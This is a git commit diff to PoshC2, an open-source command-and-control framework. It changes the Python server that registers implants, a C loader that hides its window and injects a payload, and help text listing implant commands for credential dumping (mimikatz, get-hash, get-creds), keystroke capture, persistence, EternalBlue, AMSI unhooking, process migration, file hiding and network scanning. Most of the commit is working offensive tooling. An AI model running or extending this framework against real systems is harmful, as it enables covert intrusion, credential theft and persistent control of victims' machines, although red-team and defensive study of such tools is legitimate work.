commit
47431e2fea
|
@ -52,7 +52,9 @@ def run_autoloads(command, randomuri):
|
|||
if "get-gppautologon" in command.lower(): check_module_loaded("Get-GPPAutologon.ps1", randomuri)
|
||||
if "get-gpppassword" in command.lower(): check_module_loaded("Get-GPPPassword.ps1", randomuri)
|
||||
if "get-idletime" in command.lower(): check_module_loaded("Get-IdleTime.ps1", randomuri)
|
||||
if "get-ipconfig" in command.lower(): check_module_loaded("Get-IPConfig.ps1", randomuri)
|
||||
if "get-keystrokes" in command.lower(): check_module_loaded("Get-Keystrokes.ps1", randomuri)
|
||||
if "get-hash" in command.lower(): check_module_loaded("Get-Hash.ps1", randomuri)
|
||||
if "get-locadm" in command.lower(): check_module_loaded("Get-LocAdm.ps1", randomuri)
|
||||
if "get-mshotfixes" in command.lower(): check_module_loaded("Get-MSHotFixes.ps1", randomuri)
|
||||
if "get-netstat" in command.lower(): check_module_loaded("Get-Netstat.ps1", randomuri)
|
||||
|
|
|
@ -131,7 +131,7 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
decCookie = decrypt(KEY, cookieVal)
|
||||
IPAddress = "%s:%s" % (s.client_address[0],s.client_address[1])
|
||||
User,Domain,Hostname,Arch,PID,Proxy = decCookie.split(";")
|
||||
newImplant = Implant(IPAddress, implant_type, Domain, User, Hostname, Arch, PID, Proxy)
|
||||
newImplant = Implant(IPAddress, implant_type, Domain.decode("utf-8"), User.decode("utf-8"), Hostname.decode("utf-8"), Arch, PID, Proxy)
|
||||
newImplant.save()
|
||||
newImplant.display()
|
||||
responseVal = encrypt(KEY, newImplant.PythonCore)
|
||||
|
@ -146,7 +146,7 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
decCookie = decrypt(KEY, cookieVal)
|
||||
Domain,User,Hostname,Arch,PID,Proxy = decCookie.split(";")
|
||||
IPAddress = "%s:%s" % (s.client_address[0],s.client_address[1])
|
||||
newImplant = Implant(IPAddress, implant_type, Domain,User, Hostname, Arch, PID, Proxy)
|
||||
newImplant = Implant(IPAddress, implant_type, Domain.decode("utf-8"),User.decode("utf-8"), Hostname.decode("utf-8"), Arch, PID, Proxy)
|
||||
newImplant.save()
|
||||
newImplant.display()
|
||||
newImplant.autoruns()
|
||||
|
@ -308,7 +308,9 @@ if __name__ == '__main__':
|
|||
print (Colours.END)
|
||||
|
||||
if (os.path.isfile("%sposh.crt" % ROOTDIR)) and (os.path.isfile("%sposh.key" % ROOTDIR)):
|
||||
httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="%sposh.key" % ROOTDIR, certfile="%sposh.crt" % ROOTDIR, server_side=True)
|
||||
httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="%sposh.key" % ROOTDIR, certfile="%sposh.crt" % ROOTDIR, server_side=True, ssl_version=ssl.PROTOCOL_TLS)
|
||||
# add this if required - https://github.com/nettitude/PoshC2_Python/issues/13
|
||||
# httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="%sposh.key" % ROOTDIR, certfile="%sposh.crt" % ROOTDIR, server_side=True, ssl_version=ssl.PROTOCOL_TLSv1)
|
||||
else:
|
||||
raise ValueError("Cannot find the certificate files")
|
||||
#logging.basicConfig(level=logging.WARNING) # DEBUG,INFO,WARNING,ERROR,CRITICAL
|
||||
|
|
|
@ -18,19 +18,11 @@ int main(int argc, char *argv[])
|
|||
si.wShowWindow = SW_HIDE;
|
||||
PROCESS_INFORMATION pi= {0};
|
||||
|
||||
BOOL bSuccess = FALSE;
|
||||
DWORD dwPid = 0;
|
||||
bSuccess = CreateProcess(NULL, "C:\\Windows\\system32\\netsh.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
|
||||
int processID = GetCurrentProcessId();
|
||||
if (bSuccess)
|
||||
{
|
||||
dwPid = GetProcessId(pi.hProcess);
|
||||
}
|
||||
if (x > 0)
|
||||
{
|
||||
pump(x);
|
||||
} else {
|
||||
//pump(dwPid);
|
||||
pump(processID);
|
||||
}
|
||||
while(1) {Sleep(50000);}
|
||||
|
|
13
Help.py
13
Help.py
|
@ -6,7 +6,7 @@ logopic = """__________ .__. _________ ________
|
|||
| | ( <_> )___ \| Y \ \ \____/ \
|
||||
|____| \____/____ >___| / \______ /\_______ \
|
||||
\/ \/ \/ \/
|
||||
=============== v4.4 www.PoshC2.co.uk ============="""
|
||||
=============== v4.5 www.PoshC2.co.uk ============="""
|
||||
|
||||
|
||||
py_help1 = """
|
||||
|
@ -39,6 +39,11 @@ Implant Features:
|
|||
=====================
|
||||
ps
|
||||
searchhelp mimikatz
|
||||
get-hash
|
||||
unhidefile
|
||||
hidefile
|
||||
get-ipconfig
|
||||
netstat
|
||||
beacon 60s / beacon 10m / beacon 2h
|
||||
turtle 60s / turtle 30m / turtle 8h
|
||||
kill-implant
|
||||
|
@ -255,6 +260,9 @@ get-keystrokedata
|
|||
arpscan -ipcidr 10.0.0.1/24
|
||||
portscan -ipaddress 10.0.0.1-50 -ports "1-65535" -maxqueriesps 10000 -delay 0
|
||||
((new-object Net.Sockets.TcpClient).connect("10.0.0.1",445))
|
||||
get-netstat | %{"$($_.Protocol) $($_.LocalAddress):$($_.LocalPort) $($_.RemoteAddress):$($_.Re
|
||||
motePort) $($_.State) $($_.ProcessName)($($_.PID))"}
|
||||
1..254 | %{ try {[System.Net.Dns]::GetHostEntry("10.0.0.$_") } catch {} }|select hostname
|
||||
migrate
|
||||
migrate -procid 4444
|
||||
migrate -procpath c:\\windows\\system32\\searchprotocolhost.exe -suspended -RtlCreateUserThread
|
||||
|
@ -351,7 +359,8 @@ COMMANDS = ['loadmodule',"bloodhound","brute-ad","brute-locadmin",
|
|||
"invoke-eternalblue","loadmoduleforce","unhook-amsi","get-implantworkingdirectory","get-system",
|
||||
"get-system-withproxy","get-system-withdaisy","get-pid","listmodules","modulesloaded",
|
||||
"startanotherimplant","remove-persistence","removeexe-persistence","installexe-persistence",
|
||||
"resolve-ipaddress","invoke-wmievent","remove-wmievent","get-wmievent","invoke-smbclient","get-keystrokedata"]
|
||||
"get-hash","get-creds","resolve-ipaddress","invoke-wmievent","remove-wmievent","get-wmievent",
|
||||
"invoke-smbclient","get-keystrokedata","unhidefile","hidefile"]
|
||||
|
||||
COMMANDS += ['invoke-psexecpayload','invoke-wmipayload', 'invoke-dcompayload']
|
||||
COMMANDS += ['invoke-psexecproxypayload','invoke-wmiproxypayload', 'invoke-dcomproxypayload']
|
||||
|
|
18
INSTALL.txt
18
INSTALL.txt
|
@ -17,3 +17,21 @@ sudo python /opt/PoshC2_Python/ImplantHandler.py
|
|||
sudo python /opt/PoshC2_Python/C2Viewer.py
|
||||
|
||||
# RUNNING as SystemCTL Service, see poshc2.service file for more information
|
||||
systemctl start poshc2.service
|
||||
|
||||
# Each user have their own ImplantHandler.py
|
||||
sudo python /opt/PoshC2_Python/ImplantHandler.py
|
||||
|
||||
# Each user can view output from JournalCTL
|
||||
journalctl -n 80000 -u poshc2.service -f --output cat
|
||||
|
||||
# OPTIONAL - INSTALL PoshC2_Python on Linux using Python VirtualENV
|
||||
=======================================================================
|
||||
cd /opt/
|
||||
git clone https://github.com/nettitude/PoshC2_Python.git
|
||||
pip install virtualenv
|
||||
virtualenv /opt/PoshC2_Python/
|
||||
cd /opt/PoshC2_Python/
|
||||
source /opt/PoshC2_Python/bin/activate
|
||||
pip install -r requirements.txt
|
||||
|
||||
|
|
|
@ -296,7 +296,11 @@ function GetImgData($cmdoutput) {
|
|||
$ImageBytesFull
|
||||
}
|
||||
function Create-AesManagedObject($key, $IV) {
|
||||
try {
|
||||
$aesManaged = New-Object "System.Security.Cryptography.RijndaelManaged"
|
||||
} catch {
|
||||
$aesManaged = New-Object "System.Security.Cryptography.AesCryptoServiceProvider"
|
||||
}
|
||||
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
|
||||
$aesManaged.BlockSize = 128
|
||||
|
|
|
@ -90,7 +90,6 @@ def createnewpayload():
|
|||
new_urldetails( randomid, domain, domainfront, proxyurl, proxyuser, proxypass, credsexpire )
|
||||
startup("Created new payloads")
|
||||
|
||||
|
||||
def argp(cmd):
|
||||
args = ""
|
||||
try:
|
||||
|
@ -98,6 +97,7 @@ def argp(cmd):
|
|||
parser.add_argument('-Help', '-help', '-h', action='store', dest='help', required=False)
|
||||
parser.add_argument('-Source', '-source', action='store', dest='source', required=True)
|
||||
parser.add_argument('-Destination', '-destination', action='store', dest='destination', required=True)
|
||||
parser.add_argument('-NotHidden', '-nothidden', action='store', dest='nothidden', required=False)
|
||||
args, unknown = parser.parse_known_args(shlex.split(cmd))
|
||||
except:
|
||||
error = "error"
|
||||
|
@ -793,6 +793,9 @@ def runcommand(command, randomuri):
|
|||
destination = args.destination.replace("\\","\\\\")
|
||||
print ("")
|
||||
print ("Uploading %s to %s" % (args.source, destination))
|
||||
if (args.nothidden):
|
||||
uploadcommand = "Upload-File -Destination \"%s\" -NotHidden %s -Base64 %s" % (destination, args.nothidden, source)
|
||||
else:
|
||||
uploadcommand = "Upload-File -Destination \"%s\" -Base64 %s" % (destination, source)
|
||||
new_task(uploadcommand, randomuri)
|
||||
except Exception as e:
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,31 @@
|
|||
# https://gallery.technet.microsoft.com/scriptcenter/IPConfig-all-cfe08dc0
|
||||
|
||||
function Get-Ipconfig {
|
||||
|
||||
$array= @()
|
||||
|
||||
$wmi=Get-WmiObject win32_ComputerSystem
|
||||
|
||||
$obj=New-Object PSObject
|
||||
|
||||
$obj |Add-Member -MemberType NoteProperty -Name "ComputerName" $wmi.Name
|
||||
|
||||
# Finding the Network Adapter and MAC Address, DHCP Server
|
||||
|
||||
$wmi=Get-WmiObject win32_networkadapterconfiguration | where {$_.Ipenabled -Match "True"}
|
||||
$obj |Add-Member -MemberType NoteProperty -Name "IPAddress" $wmi.IPAddress
|
||||
$obj |Add-Member -MemberType NoteProperty -Name "NetworkAdapter" $wmi.description
|
||||
$obj |Add-Member -MemberType NoteProperty -Name "MACAddress" $wmi.macaddress
|
||||
$obj |Add-Member -MemberType NoteProperty -Name "DefaultGateway" $wmi.DefaultIPGateway
|
||||
$obj |Add-Member -MemberType NoteProperty -Name "DHCPServer" $wmi.DHCPServer
|
||||
$obj |Add-Member -MemberType NoteProperty -Name "DHCPEnabled" $wmi.DHCPEnabled
|
||||
$obj |Add-Member -MemberType NoteProperty -Name "SubnetMask" $wmi.IPSubnet
|
||||
$obj |Add-Member -MemberType NoteProperty -Name "DNSServer" $wmi.DnsServerSearchOrder
|
||||
$obj |Add-Member -MemberType NoteProperty -Name "WinsPrimaryServer" $wmi.WinsPrimaryServer
|
||||
$obj |Add-Member -MemberType NoteProperty -Name "WinsSecondaryServer" $wmi.WinsSecondaryServer
|
||||
$array +=$obj
|
||||
|
||||
echo "[+] IPConfig "
|
||||
echo $array
|
||||
|
||||
}
|
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
4783
Modules/PowerUp.ps1
4783
Modules/PowerUp.ps1
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,33 @@
|
|||
function SSLInspectionCheck($url, $proxyurl, $proxyuser, $proxypass){
|
||||
|
||||
write-output "Checking $($url)"
|
||||
$req = [Net.HttpWebRequest]::Create($url)
|
||||
|
||||
if ($proxyurl) {
|
||||
$wc = New-Object System.Net.WebClient;
|
||||
$wp = New-Object System.Net.WebProxy($proxyurl,$true)
|
||||
$PSS = ConvertTo-SecureString $proxypass -AsPlainText -Force;
|
||||
$getcreds = new-object system.management.automation.PSCredential $proxyuser,$PSS;
|
||||
$wp.Credentials = $getcreds;
|
||||
$req.Proxy=$wp;
|
||||
}
|
||||
|
||||
$req.timeout = 10000
|
||||
|
||||
try {
|
||||
$req.GetResponse() |Out-Null
|
||||
} catch {
|
||||
write-output "Exception while checking URL $($url)`: $($_)"
|
||||
}
|
||||
|
||||
$expiration = $req.ServicePoint.Certificate.GetExpirationDateString()
|
||||
$certName = $req.ServicePoint.Certificate.GetName()
|
||||
$certPublicKeyString = $req.ServicePoint.Certificate.GetPublicKeyString()
|
||||
$certSerialNumber = $req.ServicePoint.Certificate.GetSerialNumberString()
|
||||
$certThumbprint = $req.ServicePoint.Certificate.GetCertHashString()
|
||||
$certEffectiveDate = $req.ServicePoint.Certificate.GetEffectiveDateString()
|
||||
$certIssuer = $req.ServicePoint.Certificate.GetIssuerName()
|
||||
write-output "Cert for site $($url). Check details:`n`nCert name: $($certName)`nCert public key: $($certPublicKeyString)`nCert serial number: $($certSerialNumber)`nCert thumbprint: $($certThumbprint)`nCert effective date: $($certEffectiveDate)`nCert Expiry: $($expiration)`nCert issuer: $($certIssuer)"
|
||||
rv req
|
||||
|
||||
}
|
|
@ -0,0 +1,427 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
|
||||
import sqlite3, re, subprocess, time, cgi, os, sys
|
||||
import pandas as pd
|
||||
|
||||
# Configurable Setting
|
||||
ReportsDirectory = "./"
|
||||
# End
|
||||
|
||||
if not os.path.exists(ReportsDirectory):
|
||||
os.makedirs(ReportsDirectory)
|
||||
|
||||
DB = ""
|
||||
|
||||
try:
|
||||
DB = sys.argv[1]
|
||||
except IndexError:
|
||||
DB = ""
|
||||
|
||||
if len(DB) < 1:
|
||||
print "Usage: python OfflineReportGenerator.py PowershellC2.SQLite"
|
||||
exit()
|
||||
|
||||
if not os.path.exists(DB):
|
||||
print "%s Does not exist" % DB
|
||||
exit()
|
||||
|
||||
# Main program
|
||||
def replace_tabs(s):
|
||||
s = s.replace("\t", " ")
|
||||
return s
|
||||
|
||||
HostnameIP = "1.1.1.1"
|
||||
ServerTAG = "\\n\\n\\n\\n\\n\\n\\n\\n\\n\\nPoshC2 Server\\n%s" % HostnameIP
|
||||
GV = GV.replace("POSHSERVER",ServerTAG)
|
||||
|
||||
implants = get_implants_all_db()
|
||||
hosts = ""
|
||||
daisyhosts = ""
|
||||
|
||||
for i in implants:
|
||||
if "Daisy" not in i[15]:
|
||||
if i[3] not in hosts:
|
||||
hostname = i[11].replace("\\","\\\\")
|
||||
hosts += "\"%s\" -> \"%s \\n %s\\n\\n\\n\\n \"; \n" % (ServerTAG,hostname,i[3])
|
||||
|
||||
for i in implants:
|
||||
if "Daisy" in i[15]:
|
||||
hostname = i[11].replace("\\","\\\\")
|
||||
if "\"%s\\n\\n\\n\\n \" -> \"%s \\n %s\\n\\n\\n\\n \"; \n" % (i[9].replace('\x00','').replace("\\","\\\\").replace('@',' \\n '),hostname,i[3]) not in daisyhosts:
|
||||
daisyhosts += "\"%s\\n\\n\\n\\n \" -> \"%s \\n %s\\n\\n\\n\\n \"; \n" % (i[9].replace('\x00','').replace("\\","\\\\").replace('@',' \\n '),hostname,i[3])
|
||||
|
||||
GV = GV.replace("DAISYHOSTS",daisyhosts)
|
||||
GV = GV.replace("IMPLANTHOSTS",hosts)
|
||||
|
||||
def get_implants_all_db():
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM Implants")
|
||||
result = c.fetchall()
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def get_htmlimplant( randomuri ):
|
||||
conn = sqlite3.connect(DB)
|
||||
conn.row_factory = sqlite3.Row
|
||||
c = conn.cursor()
|
||||
c.execute("SELECT * FROM Implants WHERE RandomURI=?",(randomuri,))
|
||||
result = c.fetchone()
|
||||
if result:
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def generate_table(table):
|
||||
HTMLPre = """<script>
|
||||
function SearchUser() {
|
||||
// Declare variables
|
||||
var input, filter, table, tr, td, i;
|
||||
input = document.getElementById("SearchUser");
|
||||
filter = input.value.toUpperCase();
|
||||
table = document.getElementById("PoshTable");
|
||||
tr = table.getElementsByTagName("tr");
|
||||
|
||||
// Loop through all table rows, and hide those who don't match the search query
|
||||
for (i = 0; i < tr.length; i++) {
|
||||
td = tr[i].getElementsByTagName("td")[2];
|
||||
if (td) {
|
||||
if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {
|
||||
tr[i].style.display = "";
|
||||
} else {
|
||||
tr[i].style.display = "none";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
function SearchHost() {
|
||||
// Declare variables
|
||||
var input, filter, table, tr, td, i;
|
||||
input = document.getElementById("SearchHost");
|
||||
filter = input.value.toUpperCase();
|
||||
table = document.getElementById("PoshTable");
|
||||
tr = table.getElementsByTagName("tr");
|
||||
|
||||
// Loop through all table rows, and hide those who don't match the search query
|
||||
for (i = 0; i < tr.length; i++) {
|
||||
td = tr[i].getElementsByTagName("td")[3];
|
||||
if (td) {
|
||||
if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {
|
||||
tr[i].style.display = "";
|
||||
} else {
|
||||
tr[i].style.display = "none";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
function SearchURL() {
|
||||
// Declare variables
|
||||
var input, filter, table, tr, td, i;
|
||||
input = document.getElementById("SearchURL");
|
||||
filter = input.value.toUpperCase();
|
||||
table = document.getElementById("PoshTable");
|
||||
tr = table.getElementsByTagName("tr");
|
||||
|
||||
// Loop through all table rows, and hide those who don't match the search query
|
||||
for (i = 0; i < tr.length; i++) {
|
||||
td = tr[i].getElementsByTagName("td")[9];
|
||||
if (td) {
|
||||
if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {
|
||||
tr[i].style.display = "";
|
||||
} else {
|
||||
tr[i].style.display = "none";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
function SearchCommand() {
|
||||
// Declare variables
|
||||
var input, filter, table, tr, td, i;
|
||||
input = document.getElementById("CommandInput");
|
||||
filter = input.value.toUpperCase();
|
||||
table = document.getElementById("PoshTable");
|
||||
tr = table.getElementsByTagName("tr");
|
||||
|
||||
// Loop through all table rows, and hide those who don't match the search query
|
||||
for (i = 0; i < tr.length; i++) {
|
||||
td = tr[i].getElementsByTagName("td")[3];
|
||||
if (td) {
|
||||
if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {
|
||||
tr[i].style.display = "";
|
||||
} else {
|
||||
tr[i].style.display = "none";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
function SearchOutput() {
|
||||
// Declare variables
|
||||
var input, filter, table, tr, td, i;
|
||||
input = document.getElementById("OutputInput");
|
||||
filter = input.value.toUpperCase();
|
||||
table = document.getElementById("PoshTable");
|
||||
tr = table.getElementsByTagName("tr");
|
||||
|
||||
// Loop through all table rows, and hide those who don't match the search query
|
||||
for (i = 0; i < tr.length; i++) {
|
||||
td = tr[i].getElementsByTagName("td")[4];
|
||||
if (td) {
|
||||
if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {
|
||||
tr[i].style.display = "";
|
||||
} else {
|
||||
tr[i].style.display = "none";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
function SearchTask() {
|
||||
// Declare variables
|
||||
var input, filter, table, tr, td, i;
|
||||
input = document.getElementById("SearchTask");
|
||||
filter = input.value.toUpperCase();
|
||||
table = document.getElementById("PoshTable");
|
||||
tr = table.getElementsByTagName("tr");
|
||||
|
||||
// Loop through all table rows, and hide those who don't match the search query
|
||||
for (i = 0; i < tr.length; i++) {
|
||||
td = tr[i].getElementsByTagName("td")[0];
|
||||
if (td) {
|
||||
if (td.innerHTML.toUpperCase().indexOf(filter) > -1) {
|
||||
tr[i].style.display = "";
|
||||
} else {
|
||||
tr[i].style.display = "none";
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// Do some tweaking to markup to make things easier
|
||||
function tweakMarkup(){
|
||||
|
||||
// Add classes to columns
|
||||
var classes = ['id', 'taskid', 'randomuri', 'command', 'output', 'prompt','ImplantID','RandomURI','User','Hostname','IpAddress','Key','FirstSeen','LastSeen','PID','Proxy','Arch','Domain','Alive','Sleep','ModsLoaded','Pivot']
|
||||
tbl = document.getElementById("PoshTable");
|
||||
ths = tbl.getElementsByTagName("th");
|
||||
for( i=0; i<ths.length; i++ ){
|
||||
th = ths[i];
|
||||
th.className = classes[i]
|
||||
}
|
||||
trs = tbl.getElementsByTagName("tr");
|
||||
for( i=0; i<trs.length; i++ ){
|
||||
tr = trs[i]
|
||||
tds = tr.getElementsByTagName('td');
|
||||
if( i % 2 == 0 ){
|
||||
tr.className = 'even';
|
||||
}else{
|
||||
tr.className = 'odd';
|
||||
}
|
||||
for( j=0; j<tds.length; j++ ){
|
||||
td = tds[j];
|
||||
td.className = classes[j]
|
||||
if( td.className.match(/output|Hostname|IpAddress|Key|FirstSeen|LastSeen|PID|Proxy|Arch|Domain|Alive|Sleep|ModsLoaded|Pivot|id|taskid|randomuri|command|output|prompt|ImplantID|RandomURI|User|Hostname|IpAddress|Key|FirstSeen|LastSeen|PID|Proxy|Arch|Domain|Alive|Sleep|ModsLoaded|Pivot/) ){
|
||||
td.className += ' hidden';
|
||||
td.innerHTML = '<div>' + td.innerHTML + '</div>';
|
||||
td.onclick = toggleHide
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
function toggleHide( evnt ){
|
||||
td = evnt.target;
|
||||
if( td.nodeName == 'DIV' ){
|
||||
td = td.parentElement;
|
||||
}
|
||||
cls = td.className;
|
||||
if( cls.match(/hidden/) ){
|
||||
cls = cls.replace('hidden','shown');
|
||||
}else{
|
||||
cls = cls.replace('shown','hidden');
|
||||
}
|
||||
td.className = cls;
|
||||
}
|
||||
|
||||
</script>
|
||||
|
||||
<style>
|
||||
|
||||
#CommandInput, #OutputInput, #SearchTask, #SearchHost, #SearchUser, #SearchURL {
|
||||
background-image: url('/css/searchicon.png'); /* Add a search icon to input */
|
||||
background-position: 10px 12px; /* Position the search icon */
|
||||
background-repeat: no-repeat; /* Do not repeat the icon image */
|
||||
width: 100%; /* Full-width */
|
||||
font-size: 16px; /* Increase font-size */
|
||||
padding: 12px 20px 12px 40px; /* Add some padding */
|
||||
border: 1px solid #ddd; /* Add a grey border */
|
||||
margin-bottom: 12px; /* Add some space below the input */
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: Verdana, Geneva, Arial, Helvetica, sans-serif;
|
||||
}
|
||||
|
||||
table {
|
||||
font-family: monospace;
|
||||
margin: 1em 0;
|
||||
white-space: pre;
|
||||
border-spacing: 0;
|
||||
width: 100%;
|
||||
table-layout: fixed;
|
||||
}
|
||||
table tr {}
|
||||
table tr.even{
|
||||
background-color: #f2f2f2
|
||||
}
|
||||
table tr th,
|
||||
table tr td {
|
||||
text-align: left;
|
||||
padding: 0.5em;
|
||||
border: 1px solid #ccc;
|
||||
|
||||
}
|
||||
table tr th {
|
||||
background-color: #4CAF50;
|
||||
color: white;
|
||||
}
|
||||
table tr td {
|
||||
vertical-align: top;
|
||||
}
|
||||
table tr td.command {
|
||||
}
|
||||
table tr td.hidden div,
|
||||
table tr td.shown div {
|
||||
cursor: pointer;
|
||||
background: top right url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAHkSURBVDjL3ZNvT1JhGMafb3G+TQqKECNFRIEDcvgXmB5IPNJmTdbC1SQ0S1xzZKXyT41TdpCOMyYtiXS9aW2uD8EbPsHV87RRmyLrdc92vbt/1/U8930/ZLYxASbpSwgz9SCin2+CHtJJwYoLgbITvvcOeN7a4S6NgTB45+cmCucvu8JMFOZCZQHpr0tYO12Ga9cKwpJz5xvIfH+GR2dxRGp+uSOs8Jxv39GKV+/gYS2OlXoSfNECMnMSRKw+hdS3BLI/Mlho3MPUR88lE+++ozlfjWG1kYJUCcNRsMCWM4NM02vf/hTgwsf+1uLpfTw4mcOtQ0G9aCDINiWmRiAdiAz+HTC6Nfi3QKx6uckjT3Pi0K1c1QPnzojahtsi3Zr2L/rfDGin5fE3o+pVxeYXRmVw3dA0Pddzfwz8Co82LFVERMuTbEyXJjGUMaqBgoBQ0Qfjmq5lWO3n9E/76IK8s4PCYHCytoDZgwhsWXPzosGNdYPszY1jTonBnxVgSuuhe6KhyfRDJGsJ3P0gQSqLDG7RBeE6PeF6Wie7X/MI5N2YLonoX+oFce1ZsXicQOJoHs68FdbNznBbAytaREthSHIE2lQPCF8cgT0/jLHtIQbD8sqEbrBuWYM+mqx93ANN8hp+AQOPtI0tirA3AAAAAElFTkSuQmCC);
|
||||
background-repeat: no-repeat;
|
||||
|
||||
overflow: scroll;
|
||||
word-wrap: break-all;
|
||||
white-space:normal;
|
||||
min-height: 25px;
|
||||
width: 100%;
|
||||
}
|
||||
table tr td.shown div {
|
||||
background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAHqSURBVDjL3ZHbThpRFIZ5i3kcLRYPqIgUGcDhNKBAqyKCobTR2NhiKmCstcWmBmtLPaCO4CQ6SBWVKInx0N70KbjhCf7O3ia0ZS686F0vVrL3Xvv7VvIvFQBVuOITQxfe6tj5IEPu9xW/ZxGcu2aJnAksxW9eYP42hmB5oBY48zAjJ240QoP7HH3j8xYhWgwiUgiAyxpFlTxZmL2ewvrPNBJX0wid+TF0zCsEHtEKGcbT4igWK0k8OwzBumGo0uZoeUCYuZzE0vUcVn6k8OSbUyFwyfDbSgKvShOIFsZgWTfU2K96pv5huOSm8KfvS/AXHAqBQ2CxcJFAsjwDe5YFgWkGdzCPoSMXHhed8BXs8B7YFALbVh/6Nx+RyWAzevR91qEu+Jf6XwRuecdkTSRp27YcVtaoCLE33Qn9sha6D+3oSrVB+07zO0RXzsx4chxmT18ifhqjSTcKej5qMbkfRVQM12EqILA8uRaRgnguhRE7mqJrahR0y5MjYgi+TTfsq1a0vVELVODYMVUJ/Lo0jZG8768d/1md71uhS2nBZxwYzwXRn2bxMNksqLgtoxgQ/RjOe2HK9FCrYaVLIehY1KB9oYVpnVfXnKscrMsmqBNNEm2a13ol05c7+L7SzD1gWpLNVXW8SST3X7gvtJUuvnAlAAAAAElFTkSuQmCC);
|
||||
}
|
||||
table tr td.output {
|
||||
width: 100px;
|
||||
}
|
||||
table tr td.hidden div {
|
||||
height: 1em;
|
||||
overflow: hidden;
|
||||
cursor: pointer;
|
||||
}
|
||||
table tr th.id {
|
||||
width: 3%;
|
||||
min-width: 3em;
|
||||
}
|
||||
table tr th.taskid {
|
||||
width: 12%;
|
||||
}
|
||||
table tr th.randomuri {
|
||||
width: 15%;
|
||||
}
|
||||
table tr th.prompt {
|
||||
width: 10%;
|
||||
}
|
||||
|
||||
p {
|
||||
margin-left: 20px;
|
||||
font-size: 12px;
|
||||
}
|
||||
|
||||
</style>
|
||||
|
||||
<pre>
|
||||
__________ .__. _________ ________
|
||||
\_______ \____ _____| |__ \_ ___ \ \_____ \
|
||||
| ___/ _ \/ ___/ | \ / \ \/ / ____/
|
||||
| | ( <_> )___ \| Y \ \ \____/ \
|
||||
|____| \____/____ >___| / \______ /\_______
|
||||
\/ \/ \/ \/
|
||||
================= www.PoshC2.co.uk ===============
|
||||
</pre>
|
||||
"""
|
||||
|
||||
if table == "CompletedTasks":
|
||||
HTMLPre += """<input type="text" id="SearchTask" onkeyup="SearchTask()" placeholder="Search for task..">
|
||||
<input type="text" id="CommandInput" onkeyup="SearchCommand()" placeholder="Search for command..">
|
||||
<input type="text" id="OutputInput" onkeyup="SearchOutput()" placeholder="Search for output..">
|
||||
"""
|
||||
|
||||
if table == "Implants":
|
||||
HTMLPre += """<input type="text" id="SearchHost" onkeyup="SearchHost()" placeholder="Search for host..">
|
||||
<input type="text" id="SearchUser" onkeyup="SearchUser()" placeholder="Search for user..">
|
||||
<input type="text" id="SearchURL" onkeyup="SearchURL()" placeholder="Search for URL..">
|
||||
"""
|
||||
conn = sqlite3.connect(DB)
|
||||
pd.set_option('display.max_colwidth', -1)
|
||||
pd.options.mode.chained_assignment = None
|
||||
frame = pd.read_sql_query("SELECT * FROM %s" % table, conn)
|
||||
|
||||
# encode the Output column
|
||||
if table == "CompletedTasks":
|
||||
for index, row in frame.iterrows():
|
||||
frame.loc[index, "Command"] = replace_tabs(cgi.escape(row["Command"]))
|
||||
frame.loc[index, "Output"] = replace_tabs(cgi.escape(row["Output"]))
|
||||
|
||||
# convert the random uri to original hostname
|
||||
if table == "CompletedTasks":
|
||||
framelen = frame['RandomURI'].count()
|
||||
for x in range(0, framelen):
|
||||
try:
|
||||
frame['RandomURI'][x]
|
||||
a = get_htmlimplant(str(frame['RandomURI'][x]))
|
||||
frame['RandomURI'][x] = a[2] + " @ " + a[3]
|
||||
except Exception as e:
|
||||
print e
|
||||
a = "None"
|
||||
|
||||
reportname = "%s%s.html" % (ReportsDirectory,table)
|
||||
output_file = open(reportname, 'w')
|
||||
HTMLPost = (frame.to_html(classes='table',index=False,escape=False)).replace("\\r\\n","</br>")
|
||||
HTMLPost = HTMLPost.replace("\\n","</br>")
|
||||
HTMLPost = re.sub(u'\x00', '', HTMLPost)
|
||||
HTMLPost = HTMLPost.replace(" <td>"," <td class=\"TableColumn\">")
|
||||
HTMLPost = HTMLPost.replace("<tr style=\"text-align: right;\">","<tr>")
|
||||
HTMLPost = HTMLPost.replace("<table border=\"1\" class=\"dataframe table\">","<table id=\"PoshTable\" border=\"1\" class=\"PoshTableClass\">")
|
||||
